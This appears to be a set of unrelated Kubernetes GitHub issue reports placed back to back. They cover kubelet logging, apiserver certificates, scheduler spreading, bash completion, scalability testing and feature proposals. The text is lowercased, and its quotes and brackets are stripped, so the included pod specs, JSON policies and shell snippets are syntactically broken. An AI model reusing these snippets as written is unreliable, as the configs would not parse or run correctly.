<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r there are too many logs in getvolumelimits on azure disk, which would flush kubelet logs, it happens every 10 seconds:\r    \r dec 12 08:02:00 k8s-agentpool-36010883-vmss000001 kubelet 4008 : i1212 08:02:00.046830    4008 azure_dd.go:190  got a matching size in getmaxdatadiskcount, name: standard_ds2_v2, maxdatadiskcount: 8\r dec 12 08:02:10 k8s-agentpool-36010883-vmss000001 kubelet 4008 : i1212 08:02:10.062522    4008 azure_dd.go:190  got a matching size in getmaxdatadiskcount, name: standard_ds2_v2, maxdatadiskcount: 8\r dec 12 08:02:20 k8s-agentpool-36010883-vmss000001 kubelet 4008 : i1212 08:02:20.075571    4008 azure_dd.go:190  got a matching size in getmaxdatadiskcount, name: standard_ds2_v2, maxdatadiskcount: 8\r dec 12 08:02:30 k8s-agentpool-36010883-vmss000001 kubelet 4008 : i1212 08:02:30.089377    4008 azure_dd.go:190  got a matching size in getmaxdatadiskcount, name: standard_ds2_v2, maxdatadiskcount: 8\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  /assign\r 

i'm following the instructions in examples/kubernetes-namespaces. after i issued the command \ cluster/kubectl.sh config set-context dev --namespace=development\ , i ended up with a context that had empty \ cluster\  and \ user\  field, so the following \ kubectl get\  commands fails as kubectl does not know where to send requests.   is this the expected behavior of \ kubectl config set-context\ ? or shall the newly created context inherit the \ cluster\  and \ user\  fields of the current context if these fields are not specified in the command?

using coreos alpha  962.0.0 , i am unable to start apiserver as a pod, as described in the  coreos kubernetes guide  https://coreos.com/kubernetes/docs/latest/deploy-master.html set-up-the-kube-apiserver-pod . the problem appears to be that my certificate file can't be opened, although i don't understand why because it's perfectly accessible from the command line. this is how i find the error message:      $ sudo cat /var/log/containers/kube-apiserver-  {\ log\ :\ i0227 20:22:58.701844       1 plugins.go:71  no cloud provider specified.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-02-27t20:22:58.702180241z\ } {\ log\ :\ f0227 20:22:58.701965       1 server.go:416  failure to start kubelet client: open /etc/ssl/etcd/master1-master-client.pem: no such file or directory\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-02-27t20:22:58.702229507z\ } {\ log\ :\ i0227 20:28:08.696638       1 plugins.go:71  no cloud provider specified.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-02-27t20:28:08.69710352z\ } {\ log\ :\ f0227 20:28:08.696778       1 server.go:416  failure to start kubelet client: open /etc/ssl/etcd/master1-master-client.pem: no such file or directory\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2016-02-27t20:28:08.697163308z\ }      my apiserver pod spec looks as follows:      apiversion: v1 kind: pod metadata:   name: kube-apiserver   namespace: kube-system spec:   hostnetwork: true   containers:   - name: kube-apiserver     image: gcr.io/google_containers/hyperkube:v1.1.2     command:     - /hyperkube     - apiserver     - --bind-address=0.0.0.0     - --insecure-bind-address=127.0.0.1     - --etcd-config=/etc/kubernetes/etcd.client.conf     - --allow-privileged=true     - --service-cluster-ip-range=10.3.0.0/24     - --secure-port=443     - --advertise-address=172.31.29.111     - --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,resourcequota     - --tls-cert-file=/etc/ssl/etcd/master1-master-client.pem     - --tls-private-key-file=/etc/ssl/etcd/master1-master-client-key.pem     - --client-ca-file=/etc/ssl/etcd/ca.pem     - --kubelet-certificate-authority=/etc/ssl/etcd/ca.pem     - --kubelet-client-certificate=/etc/ssl/etcd/master1-master-client.pem     - --kubelet-client-key=/etc/ssl/etcd/master1-master-client-key.pem     ports:     - containerport: 443       hostport: 443       name: https     - containerport: 8080       hostport: 8080       name: local     volumemounts:     - mountpath: /etc/ssl/etcd       name: ssl-certs-kubernetes       readonly: true     - mountpath: /etc/kubernetes       name: conf-kubernetes       readonly: true     - mountpath: /etc/ssl/certs       name: ssl-certs-host       readonly: true   volumes:   - hostpath:     path: /etc/ssl/etcd     name: ssl-certs-kubernetes   - hostpath:     path: /etc/kubernetes     name: conf-kubernetes   - hostpath:     path: /usr/share/ca-certificates     name: ssl-certs-host      i have also tried to convert the pod spec to a docker command, and that works perfectly:   docker run -p 443:443 -v /etc/kubernetes:/etc/kubernetes:ro -v /etc/ssl/etcd:/etc/ssl/etcd:ro gcr.io/google_containers/hyperkube:v1.1.2 /hyperkube apiserver --bind-address=0.0.0.0 --insecure-bind-address=127.0.0.1 --etcd-config=/etc/kubernetes/etcd.client.conf --allow-privileged=true --service-cluster-ip-range=10.3.0.0/24 --secure-port=443 --advertise-address=172.31.29.111 --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,resourcequota --kubelet-certificate-authority=/etc/ssl/etcd/ca.pem --kubelet-client-certificate=/etc/ssl/etcd/master1-master-client.pem --kubelet-client-key=/etc/ssl/etcd/master1-master-client-key.pem --client-ca-file=/etc/ssl/etcd/ca.pem --tls-cert-file=/etc/ssl/etcd/master1-master-client.pem --tls-private-key-file=/etc/ssl/etcd/master1-master-client-key.pem   why is my apiserver pod failing?

if the api server can't establish the ssh tunnel to the node, it seems to leak the go routine establishing the connection. see many go routines leaked with this stack:  golang.org/x/crypto/ssh.discardrequests    seems related to https://github.com/golang/go/issues/15113  it seems related to periodic api-server crashes that we're observing.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/120/  failed:  k8s.io  load capacity  feature:performance  should be able to handle 30 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:206 creating rc load-medium-rc-4 expected error:     < errors.errorstring | 0xc4204924f0>: {         s: \ only 29 pods started out of 30\ ,     }     only 29 pods started out of 30 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:360       previous issues for this test:  26544  26938  27595  30146  30469  31374  31427  31433  31589  31981  32257  33711  33839  36547  37111

\r i compile the kubernetes  source code  of  v1.5.0  by go v1.6.3 on centos 7.2 amd64;\r then i deploy the kube-apiserver kube-scheduler kube-controller-manager kube-proxy can work;but kubelet can not up;\r   the err like this:  \r ● kubelet.service - kubernetes kubelet server\r    loaded: loaded  /usr/lib/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: failed  result: start-limit  since mon 2017-01-09 18:16:23 cst; 3s ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r   process: 24218 execstart=/usr/bin/kubelet $kube_logtostderr $kube_log_level $kubelet_api_server $kubelet_address $kubelet_port $kubelet_hostname $kube_allow_priv $kubelet_pod_infra_container $kubelet_args  code=exited, status=200/chdir \r  main pid: 24218  code=exited, status=200/chdir \r \r jan 09 18:16:22 10-8-60-208 systemd 1 : unit kubelet.service entered failed state.\r jan 09 18:16:22 10-8-60-208 systemd 1 : kubelet.service failed.\r jan 09 18:16:23 10-8-60-208 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r jan 09 18:16:23 10-8-60-208 systemd 1 : start request repeated too quickly for kubelet.service\r jan 09 18:16:23 10-8-60-208 systemd 1 : failed to start kubernetes kubelet server.\r jan 09 18:16:23 10-8-60-208 systemd 1 : unit kubelet.service entered failed state.\r jan 09 18:16:23 10-8-60-208 systemd 1 : kubelet.service failed\r \r the configs are:\r   config  \r kube_logtostderr=\ --logtostderr=true\ \r \r kube_log_level=\ --v=0\ \r \r kube_allow_priv=\ --allow-privileged=false\ \r \r kube_master=\ --master=http://10.8.80.223:8080\ \r \r   kubelet  \r kubelet_address=\ --address=0.0.0.0\ \r \r kubelet_port=\ --port=10250\ \r \r kubelet_hostname=\ --hostname-override=10.8.60.208\ \r \r kubelet_api_server=\ --api-servers=http://10.8.80.223:8080\ \r \r kubelet_pod_infra_container=\ --pod-infra-container-image=gcr.io/google_containers/pause:latest\ \r \r kubelet_args=\ \ \r \r the   kubelet.service  \r  unit \r description=kubernetes kubelet server\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r workingdirectory=/var/lib/kubelet\r environmentfile=-/etc/kubernetes/config\r environmentfile=-/etc/kubernetes/kubelet\r execstart=/usr/bin/kubelet \\\r \t    $kube_logtostderr \\\r \t    $kube_log_level \\\r \t    $kubelet_api_server \\\r \t    $kubelet_address \\\r \t    $kubelet_port \\\r \t    $kubelet_hostname \\\r \t    $kube_allow_priv \\\r \t    $kubelet_pod_infra_container \\\r \t    $kubelet_args\r restart=on-failure\r \r  install \r wantedby=multi-user.target\r \r i use flannel as the container network,and flanner can work rigth;\r \r what make the kubelet can not work?\r

the web and  kubectl completion -h  instructions for  installing and setting up kubectl  need a slight tuneup. the homebrew instructions should reflect a few different options for bash on macos.\r 1.   bash-completion   is for bash 3.2  macos default , and \r 2.   bash-completion@2   is for bash 4.1+  upgraded gnu bash \r \r i lost an hour of my life to this; i hope this helps others.\r \r   what happened  :\r by following the homebrew install instructions on this page, then entering  kubectl  and tabbing, this is the output:\r \r    bash\r $ kubectl -bash: __ltrim_colon_completions: command not found\r -bash: __ltrim_colon_completions: command not found\r \r .gitignore           readme.md            conformance-test.sh  ssl/                 \r .vagrant/            vagrantfile          kubeconfig           user-data          \r    \r \r   what you expected to happen  :\r by following the same path as above this should be the output:\r    bash\r kubectl \r annotate        certificate     cp              exec            options         rollout         uncordon\r api-versions    cluster-info    create          explain         patch           run             version\r apply           completion      delete          expose          port-forward    scale           \r attach          config          describe        get             proxy           set             \r auth            convert         drain           label           replace         taint           \r autoscale       cordon          edit            logs            rolling-update  top             \r    \r \r   anything else we need to know  :\r currently the instructions assume the default bash on a vanilla macos install; while i understand this being most-likely scenario, the default version of bash is shamefully old. \r \r after reviewing to options in homebrew it appears there are 2:\r 1. bash-completion is for bash 3.2 and \r 2. bash-completion@2 is for bash 4.1+ \r \r    bash\r brew info bash-completion\r bash-completion: stable 1.3  bottled \r programmable completion for bash 3.2\r https://bash-completion.alioth.debian.org/\r conflicts with: bash-completion@2\r not installed\r from: https://github.com/homebrew/homebrew-core/blob/master/formula/bash-completion.rb\r ==> caveats\r add the following lines to your ~/.bash_profile:\r     -f /usr/local/etc/bash_completion   && . /usr/local/etc/bash_completion\r \r brew info bash-completion@2\r bash-completion@2: stable 2.5  bottled , head\r programmable completion for bash 4.1+\r https://github.com/scop/bash-completion\r conflicts with: bash-completion\r /usr/local/cellar/bash-completion@2/2.5  640 files, 897.7kb   \r   poured from bottle on 2017-04-22 at 13:31:25\r from: https://github.com/homebrew/homebrew-core/blob/master/formula/bash-completion@2.rb\r ==> dependencies\r required: bash ✔\r ==> caveats\r add the following to your ~/.bash_profile:\r   if   -f /usr/local/share/bash-completion/bash_completion  ; then\r     . /usr/local/share/bash-completion/bash_completion\r   fi\r    \r \r    the solution\r for those of us that cannot live without all the options, this is how we do:\r \r   install:  \r \r  brew install bash shellcheck dash bash-completion@2 kubectl \r \r   configure  \r then the  ~/.bashrc  needs to be updated to reflect this changes:\r \r    bash\r declare sysbashrc='/etc/bashrc'\r if    -f \ $sysbashrc\    ; then\r     . \ $sysbashrc\ \r fi\r ...\r                                                                                \r                                       bash                                     \r                                                                                \r export shell='/usr/local/bin/bash'\r export bash_version=\ $ bash --version | head -1 | awk -f \  \  '{print $4}' \ \r source /usr/local/share/bash-completion/bash_completion\r ...\r                                                                                \r                                    kubernetes                                  \r                                                                                \r source < kubectl completion bash \r ...\r    \r \r   test  \r 1. open a new tab  the  ~/.bashrc  is sourced-in \r 2. enter  kubectl  and tab twice\r \r we then get the expected result.\r \r the requested details follow:\r \r   kubernetes version    use  kubectl version  :\r    bash\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:53z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4+coreos.0\ , gitcommit:\ 97c11b097b1a2b194f1eddca8ce5468fcc83331c\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t23:54:21z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  : personal/dev\r -   cloud provider or hardware configuration  : na\r -   os    e.g. from /etc/os-release : macos sierra\r -   kernel    e.g.  uname -a  :  darwin hostname 16.5.0 darwin kernel version 16.5.0: fri mar  3 16:52:33 pst 2017; root:xnu-3789.51.2~3/release_x86_64 x86_64 i386 macbookpro11,3 darwin \r -   install tools  : homebrew\r \r \r \r \r  installing and setting up kubectl :https://kubernetes.io/docs/tasks/kubectl/install/\r

it might be very useful to have a pod that presents a web-based interface for browsing the logs of current and recent pods. this would work by fetching the logs from elasticsearch  or cloud logging  and cross referencing them with information in the masdter, etcd, events etc. this could be very valuable for debugging run once pods, end to end tests as well as for general log access.  if we decide this is a p1  would be keen to start working on this asap. @derekwaynecarr @smarterclayton @brendandburns

current implementation of openapi aggregation assumes the specs are static. we need a way to update the aggregated spec when the specs changed. one simple solution could be refreshing specs periodically.\r \r @sttts @deads2k

https://github.com/kubernetes/kubernetes/pull/46597 brought us hostpath volume plugin that scans the host filesystem using direct calls or wrapped with nsenter when kubelet runs in a container.\r \r imo, volume plugins should not care much if they run in a container or not, access to files / directories should be handler either by  volumehost  or  mount.interface . especially  mount.interface  has an implementation that knows if it runs in a container and calls nsenter when necessary.\r \r  mount.interface  already has  method  https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/mount.go l66  to probe if a file is a device or not, so it could be extended to check for other types of special files and  mkdir  that hostpath needs.  mount.interface  is not a public interface so we can refactor it as we want.\r \r   cc @dixudx

one of the key characteristics of kubernetes is its performance at scale. we  sig-scalability  are load-testing clusters at a large scale and measuring the performance every release.\r starting from 1.6 we're \ supporting\  5000-node k8s clusters  defined concretely as correctness and performance tests passing against them .\r we should consider incorporating scalability as part of conformance too - as a distro which doesn't scale beyond a few tens of nodes isn't really conformant with ones which scale to hundreds of nodes.\r \r some options:\r 1. we're able to start/stop an x-node cluster on that distro, where x needs to be reported by the distro\r 2. in addition to 1, the x-node cluster also needs to pass our current set of conformance tests\r 3. in addition to 1, the x-node cluster also needs to pass our current set of performance tests  which as of now includes - load test  which checks api call latency slo  and density test  which checks pod startup latency slo  . ref on slos - http://blog.kubernetes.io/2017/03/scalability-updates-in-kubernetes-1.6.html\r 4. both 2 and 3  which is what we're currently  doing  https://github.com/kubernetes/features/blob/master/release-1.8/scalability_validation_report.md  for our releases \r 5. run performance tests on an x-node kubemark cluster  which would be much less resource-intensive than an x-node real cluster, but will not validate few things on the node side \r 6. ...?\r 7. not include scalability at all\r \r opening this issue for discussion/suggestions.\r \r cc @kubernetes/sig-scalability-misc @wojtek-t @gmarek @jagosan \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i want to  schedule pods within same service across nodes as evenly as possible, so i configured a scheduler-policy-config file for the scheduler ,which selectorspread was set to 10 while other default priorities weight was set to  1 ,then created a statefulset with pod anti affinity enabled, however in a senario of having more than 5 available nodes and a statefulset with 20 replicas, the scheduled result as following, shows that the selectorspread work as expected for statefulset.\r the result:\r      11 sz-kpi-s3-267\r       9 sz-kpi-s3-270\r \r \r   what you expected to happen  :\r \r each node have even pods, for example ,i have 5 nodes and create a statefulset with 20 replicas, i \r exepect each node have 4 pod running on it.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r enable local-volume-provisioner for cluster and using below scheduler-policy-config for scheduler and statefulset yaml.\r scheduler-policy-config.json:\r {\r \ kind\  : \ policy\ ,\r \ apiversion\  : \ v1\ ,\r \ predicates\  :  \r      {\ name\ :\ matchinterpodaffinity\ },\r \t {\ name\ :\ checknodediskpressure\ },\r \t {\ name\ :\ podtoleratesnodetaints\ },\r \t {\ name\ :\ checkvolumebinding\ },\r     {\ name\ :\ novolumezoneconflict\ },\r     {\ name\ :\ maxgcepdvolumecount\ },\r \t{\ name\ :\ nodiskconflict\ },\r \t{\ name\ :\ generalpredicates\ },\r \t{\ name\ :\ checknodememorypressure\ },\r     {\ name\ :\ checknodecondition\ },\r \t{\ name\  : \ maxebsvolumecount\ },\r \t{\ name\  : \ maxazurediskvolumecount\ },\r \t{\ name\  : \ podfitsresources\ },\t\r \t{\ name\  : \ matchnodeselector\ }\r \t ,\r \ priorities\  :  \r \t{\ name\  : \ leastrequestedpriority\ , \ weight\  : 1},\r \t{\ name\  : \ balancedresourceallocation\ , \ weight\  : 1},\r \t{\ name\  : \ nodepreferavoidpodspriority\ , \ weight\  : 1},\r \t{\ name\  : \ nodeaffinitypriority\ , \ weight\  : 1},\r \t{\ name\  : \ tainttolerationpriority\ , \ weight\  : 1},\r \t{\ name\  : \ selectorspreadpriority\ , \ weight\  : 10},\r \t{\ name\  : \ interpodaffinitypriority\ , \ weight\  : 1}\r \t \r }\r \r statefulset resouce:\r \r {\r     \ apiversion\ : \ apps/v1beta1\ , \r     \ kind\ : \ statefulset\ , \r     \ metadata\ : {\r         \ name\ : \ test-scheduler-dev\ , \r         \ namespace\ : \ default\ , \r         \ labels\ : {\r             \ env\ : \ dev\ , \r             \ app\ : \ test-scheduler\ \r         }, \r         \ annotations\ : {\r             \ servicetype\ : \ uae-router\ \r         }\r     }, \r     \ spec\ : {\r         \ selector\ :{\r          \ matchlabels\ :{\r                 \ env\ : \ dev\ ,\r                 \ app\ : \ test-scheduler\ \r                  }\r              },\r         \ servicename\ : \ test-scheduler-dev\ , \r         \ podmanagementpolicy\ : \ parallel\ , \r         \ updatestrategy\ : {\r             \ type\ : \ ondelete\ \r         }, \r         \ replicas\ : 20, \r         \ template\ : {\r             \ metadata\ : {\r                 \ name\ : \ test-scheduler-dev\ , \r                 \ namespace\ : \ default\ , \r                 \ labels\ : {\r                     \ env\ : \ dev\ , \r                     \ app\ : \ test-scheduler\ \r                 }, \r                 \ annotations\ : {\r                     \ servicetype\ : \ uae-router\ \r                 }\r             }, \r             \ spec\ : {\r                 \ restartpolicy\ : \ always\ , \r                 \ containers\ :  \r                     {\r                         \ name\ : \ application\ , \r                         \ image\ : \ docker-hub.ucweb.com:5000/lc/pywebtest:20180112\ , \r                         \ imagepullpolicy\ : \ always\ , \r                         \ command\ :  \r                             \ sh\ , \r                             \ /uae-meta/start.sh\ \r                          , \r                         \ env\ :  \r                             {\r                                 \ name\ : \ uae_node_name\ , \r                                 \ valuefrom\ : {\r                                     \ fieldref\ : {\r                                         \ fieldpath\ : \ spec.nodename\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ uae_pod_name\ , \r                                 \ valuefrom\ : {\r                                     \ fieldref\ : {\r                                         \ fieldpath\ : \ metadata.name\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ uae_namespace\ , \r                                 \ valuefrom\ : {\r                                     \ fieldref\ : {\r                                         \ fieldpath\ : \ metadata.namespace\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ start_cmd\ , \r                                 \ value\ : \ python ./web.py\ \r                             }, \r                            \r                             {\r                                 \ name\ : \ uae_cpu_request\ , \r                                 \ valuefrom\ : {\r                                     \ resourcefieldref\ : {\r                                         \ containername\ : \ application\ , \r                                         \ resource\ : \ requests.cpu\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ uae_cpu_limit\ , \r                                 \ valuefrom\ : {\r                                     \ resourcefieldref\ : {\r                                         \ containername\ : \ application\ , \r                                         \ resource\ : \ limits.cpu\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ uae_mem_request\ , \r                                 \ valuefrom\ : {\r                                     \ resourcefieldref\ : {\r                                         \ containername\ : \ application\ , \r                                         \ resource\ : \ requests.memory\ \r                                     }\r                                 }\r                             }, \r                             {\r                                 \ name\ : \ uae_mem_limit\ , \r                                 \ valuefrom\ : {\r                                     \ resourcefieldref\ : {\r                                         \ containername\ : \ application\ , \r                                         \ resource\ : \ limits.memory\ \r                                     }\r                                 }\r                             }\r                          , \r                         \ resources\ : {\r                             \ requests\ : {\r                                 \ cpu\ : 1, \r                                 \ memory\ : \ 1024mi\ \r                             }, \r                             \ limits\ : {\r                                 \ cpu\ : 1, \r                                 \ memory\ : \ 2048mi\ \r                             }\r                         }, \r                         \ ports\ :  \r                             {\r                                 \ containerport\ : 8000\r                             }\r                          , \r                         \ volumemounts\ :  \r                             {\r                                 \ name\ : \ tz-config\ , \r                                 \ mountpath\ : \ /etc/localtime\ \r                             }, \r                             {\r                                 \ name\ : \ storage\ , \r                                 \ mountpath\ : \ /storage\ \r                             }, \r                             {\r                                 \ name\ : \ uae-meta\ , \r                                 \ mountpath\ : \ /uae-meta\ , \r                                 \ readonly\ : true\r                             }\r                          , \r                         \ lifecycle\ : {\r                             \ prestop\ : {\r                                 \ exec\ : {\r                                     \ command\ :  \r                                         \ sh\ , \r                                         \ /uae-meta/stop.sh\ \r                                      \r                                 }\r                             }\r                         } \r                     }\r                  , \r                 \ volumes\ :  \r                     {\r                         \ name\ : \ tz-config\ , \r                         \ hostpath\ : {\r                             \ path\ : \ /usr/share/zoneinfo/asia/shanghai\ \r                         }\r                     }, \r                     {\r                         \ name\ : \ uae-meta\ , \r                         \ hostpath\ : {\r                             \ path\ : \ /home1/uae-meta\ \r                         }\r                     }\r                  , \r                 \ affinity\ : {\r                     \ podantiaffinity\ : {\r                         \ preferredduringschedulingignoredduringexecution\ :  \r                             {\r                                 \ weight\ : 100, \r                                 \ podaffinityterm\ : {\r                                     \ labelselector\ : {\r                                         \ matchexpressions\ :  \r                                             {\r                                                 \ key\ : \ app\ , \r                                                 \ operator\ : \ in\ , \r                                                 \ values\ :  \r                                                     \ test-scheduler\ \r                                                  \r                                             }\r                                          \r                                     }, \r                                     \ topologykey\ : \ kubernetes.io/hostname\ \r                                 }\r                             }\r                          \r                     }\r                 }\r             }\r         }, \r         \ volumeclaimtemplates\ :  \r             {\r                 \ metadata\ : {\r                     \ name\ : \ storage\ \r                 }, \r                 \ spec\ : {\r                     \ accessmodes\ :  \r                         \ readwriteonce\ \r                      , \r                     \ storageclassname\ : \ local-storage\ , \r                     \ resources\ : {\r                         \ requests\ : {\r                             \ storage\ : \ 50gi\ \r                         }\r                     }, \r                     \ selector\ : {\r                         \ matchexpressions\ :  \r                             {\r                                 \ key\ : \ vip\ , \r                                 \ operator\ : \ doesnotexist\ \r                             }\r                          \r                     }\r                 }\r             }\r          \r     }\r }\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.0\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r we are using local-volume-provisioner provided by community , it runs on each node and  creates local file-based volumes, by reviewing the source of scheduler and debug log, i found out that the schedulercache got updated only after the pod got assumed and volume bound, which means when do  caculation the schedulercache wouldn't have upated info, so the score is not accurate.\r suggest to have schedulercache updated once suggestedhost come up, so the  schedulercache  could reflect pod allocation while do  \r \r  scheduler.log  https://github.com/kubernetes/kubernetes/files/1937036/scheduler.log \r \r

  \r it's easy to make jobs and forget to delete them. if you make enough of them, you can overload a control plane  which is typically sized to support the number of nodes and not an arbitrarily high number of jobs .\r \r we have a \ podgc\  for deleting terminated pods if too many of them build up, so there is precedent.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r add prebound pvs tests cases in integration stress tests\r \r   why is this needed  :\r \r see discussion here: https://github.com/kubernetes/kubernetes/pull/71212 pullrequestreview-176323978\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r  test/e2e/storage/testsuites  creates volumes dynamically. initially, the size of those volumes was hard-coded in the test, which prevented using the tests with storage backends that couldn't support that hard-coded size.\r \r https://github.com/kubernetes/kubernetes/pull/70862 introduces a mechanism where the driver for the storage backend can set the size.\r \r but this still has the problem that the size chosen by the driver might not work for some tests. a better solution would be to let the driver and each test specify a size range, then when setting up the volume for a specific test, the actual size gets chosen by looking at the intersection.\r \r   why is this needed  :\r \r some tests might fail when the chosen size is too small or too large? mostly a theoretic issue at this point, it hasn't happened in practice yet.\r \r 

what happened  :\r set the svc nodeport to 6443 causes the cluster to not work properly. because port 6443 will be occupied.\r i didn't find the same issue so create this issue. i just want to know that if there are some ways to avoid this.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - os  e.g:  cat /etc/os-release  : centos 7.5\r - kernel  e.g.  uname -a  : 3.10

we'd like to graduate poddisruptionbudget, /eviction subresource, and preferavoidpods to beta in 1.5  poddisruptionbudget to beta -     make sure we can add disruption rate later in a backward-compatible way  don't need to implement it now  -     add poddisruptionbudget as a spreading criteria in the scheduler -  x  move to beta api group  poddisruptionbudget to v1 -     move to v1 api group  preferavoidpods to beta -     finish  avoidpods  https://github.com/kubernetes/kubernetes/blob/3fd14d97fb13ba2849e0c908aaff18efcece70c1/pkg/api/types.go l2146  feature: add a \ avoid same node\  bool to eviction request, which causes api server to add the pod's current node to this annotation on the node. pdb controller should age old out entries in the list according to some policy.  the scheduler part of this feature is implemented, i.e. see  nodepreferavoidpodspriority    -     change annotation key from alpha to beta  preferavoidpods to v1 -     move avoidpods from annotation to field of nodestatus   /evict subresource to beta  /eviction subresource to beta -     have  kubectl drain  use /eviction subresource, including \ avoid rescheduling on current node\   behavior  see preferavoid pods description above   not strictly required to move to beta, but having a proof of concept use of the feature that people can look at is important, so i think it's reasonable to make this part of moving it to beta  -     move to beta api group  /evict subresource to v1 -     move to v1 api group   for all betas, make sure we have a rollback story or are sure we won't need to rollback earlier than when feature was first introduced.   cc/ @mml @bgrant0607 @jiangyaoguo   ref/  22217  12611  24697  20699  18853

due to masq or snat when kubeproxy forward request for service, pods behind service lost client ip. i propose:\r \r   add a \ clientippreserving bool\  knob in servicespec\r   if  service.spec.clientippreserving == true , kubeproxy will forward  packets using ipip or gre tunnel\r \r will send a detail proposal if it's worth doing. @bprashanth

the documentation for federated ingress  here  https://kubernetes.io/docs/tasks/administer-federation/ingress/ adding-backend-services-and-pods  says:\r \r > note that in order for your federated ingress to work correctly on google cloud, the node ports of all of the underlying cluster-local services need to be identical. if you’re using a federated service this is easy to do. simply pick a node port that is not already being used in any of your clusters, and add that to the spec of your federated service. if you do not specify a node port for your federated service, each cluster will choose it’s own node port for its cluster-local shard of the service, and these will probably end up being different, which is not what you want.\r \r for services with non-matching nodeports, we should be generating events for mismatching nodeports instead of following through with the ingress creation.

prior to 1.7 release we should decide on keeping the partitionedstatefulsetstrategy documented in the design for statefulset update, or, instead, adding an optional ordinal parameter to the rollingupdatestatefulsetstrategy. the deviation is described below.\r \r    golang\r // statefulsetupdatestrategy indicates the strategy that the statefulset\r // controller will use to perform updates. it includes any additional parameters\r // necessary to perform the update for the indicated strategy.\r type statefulsetupdatestrategy struct {\r \t// type indicates the type of the statefulsetupdatestrategy.\r \ttype statefulsetupdatestrategytype  json:\ type,omitempty\  protobuf:\ bytes,1,opt,name=type,casttype=statefulsetstrategytype\  \r \t// partition is used to communicate the optional ordinal at which to partition\r \t// the statefulset when type is rollingupdatestatefulsetstrategytype. this\r \t// value may only be set when the type is rollingupdatestatefulsetstrategytype,\r \t// and it must be nil otherwise.\r \tpartition  rollingupdatepartition  json:\ partition,omitempty\  protobuf:\ bytes,2,opt,name=partition\  \r }\r \r // rollingupdatepartition is used to indicate a partition in the statefulset during a rolling update.\r type rollingupdatepartition struct {\r \t// ordinal indicates the ordinal at which the statefulset should be\r \t// partitioned. all pods with an ordinal greater than or equal to partition will receive the update.\r \tordinal int32  json:\ ordinal\  protobuf:\ varint,1,opt,name=ordinal\  \r }\r    \r \r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r now we support two types of local storage\r \r   what you expected to happen  :\r support only one\r \r \r   anything else we need to know?  :\r have send prs for quota,limitrange and downward api, but let us make the scheduler and eviction part checked in first. \r \r i will work on it.\r \r /assign @nickrenren\r \r /cc @jingxu97  @ddysher \r

 \r   what happened  :\r \r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-kubeadm-gce is solid red for over 24h\r \r   what you expected to happen  :\r \r not all red.\r \r i mentioned it in https://kubernetes.slack.com/archives/c09qz4dqb/p1508249038000603 yesterday but didn't see any reaction, so i'm cranking up the volume a little.\r \r @kubernetes/sig-testing-bugs \r @kubernetes/sig-cluster-lifecycle-bugs

